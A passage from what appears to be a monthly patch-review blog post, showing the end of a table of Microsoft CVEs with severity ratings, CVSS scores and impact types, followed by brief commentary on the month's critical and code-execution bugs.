  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41101"><span>CVE-2026-41101</span></a></td>
  <td width="256" class="xl73">Microsoft Word for
  Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35440"><span>CVE-2026-35440</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40421"><span>CVE-2026-40421</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41097"><span>CVE-2026-41097</span></a></td>
  <td width="256" class="xl73">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40370"><span>CVE-2026-40370 †</span></a></td>
  <td width="256" class="xl73">SQL Server Remote Code
  Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41613"><span>CVE-2026-41613</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41612"><span>CVE-2026-41612</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41611"><span>CVE-2026-41611</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41610"><span>CVE-2026-41610</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33839"><span>CVE-2026-33839</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33840"><span>CVE-2026-33840</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34330"><span>CVE-2026-34330</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34331"><span>CVE-2026-34331</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35423"><span>CVE-2026-35423</span></a></td>
  <td width="256" class="xl73">Windows 11 Telnet
  Client Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438"><span>CVE-2026-35438</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41086"><span>CVE-2026-41086</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  in Azure Portal Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34344"><span>CVE-2026-34344</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34345"><span>CVE-2026-34345</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35416"><span>CVE-2026-35416</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41088"><span>CVE-2026-41088</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34343"><span>CVE-2026-34343</span></a></td>
  <td width="256" class="xl73">Windows Application
  Identity (AppID) Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35418"><span>CVE-2026-35418</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33835"><span>CVE-2026-33835</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34337"><span>CVE-2026-34337</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40407"><span>CVE-2026-40407</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40397"><span>CVE-2026-40397</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42896"><span>CVE-2026-42896</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35419"><span>CVE-2026-35419</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34336"><span>CVE-2026-34336</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33834"><span>CVE-2026-33834</span></a></td>
  <td width="256" class="xl73">Windows Event Logging
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32209"><span>CVE-2026-32209</span></a></td>
  <td width="256" class="xl73">Windows Filtering
  Platform (WFP) Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33841"><span>CVE-2026-33841</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420"><span>CVE-2026-35420</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40369"><span>CVE-2026-40369</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332"><span>CVE-2026-34332</span></a></td>
  <td width="256" class="xl73">Windows Kernel-Mode
  Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34339"><span>CVE-2026-34339</span></a></td>
  <td width="256" class="xl73">Windows Lightweight
  Directory Access Protocol (LDAP) Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34341"><span>CVE-2026-34341</span></a></td>
  <td width="256" class="xl73">Windows Link-Layer
  Discovery Protocol (LLDP) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33838"><span>CVE-2026-33838</span></a></td>
  <td width="256" class="xl73">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34342"><span>CVE-2026-34342</span></a></td>
  <td width="256" class="xl73">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41095"><span>CVE-2026-41095</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34340"><span>CVE-2026-34340</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40398"><span>CVE-2026-40398</span></a></td>
  <td width="256" class="xl73">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21530"><span>CVE-2026-21530</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32170"><span>CVE-2026-32170</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40410"><span>CVE-2026-40410</span></a></td>
  <td width="256" class="xl73">Windows SMB Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35415"><span>CVE-2026-35415</span></a></td>
  <td width="256" class="xl73">Windows Storage Spaces
  Controller Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34350"><span>CVE-2026-34350</span></a></td>
  <td width="256" class="xl73">Windows Storport
  Miniport Driver Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40405"><span>CVE-2026-40405</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40414"><span>CVE-2026-40414</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40401"><span>CVE-2026-40401</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40413"><span>CVE-2026-40413</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35422"><span>CVE-2026-35422</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Driver
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34351"><span>CVE-2026-34351</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40399"><span>CVE-2026-40399</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34334"><span>CVE-2026-34334</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40406"><span>CVE-2026-40406</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33837"><span>CVE-2026-33837</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Local
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><span>CVE-2026-40415</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42825"><span>CVE-2026-42825</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34338"><span>CVE-2026-34338</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40382"><span>CVE-2026-40382</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40380"><span>CVE-2026-40380</span></a></td>
  <td width="256" class="xl73">Windows Volume Manager
  Extension Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40408"><span>CVE-2026-40408</span></a></td>
  <td width="256" class="xl73">Windows WAN ARP Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34333"><span>CVE-2026-34333</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34347"><span>CVE-2026-34347</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35417"><span>CVE-2026-35417</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42891"><span>CVE-2026-42891</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35429"><span>CVE-2026-35429</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41107"><span>CVE-2026-41107</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40416"><span>CVE-2026-40416</span></a></td>
  <td width="256" class="xl73">Microsoft
  Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl72">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira &amp; Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.</p><p class="">Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most 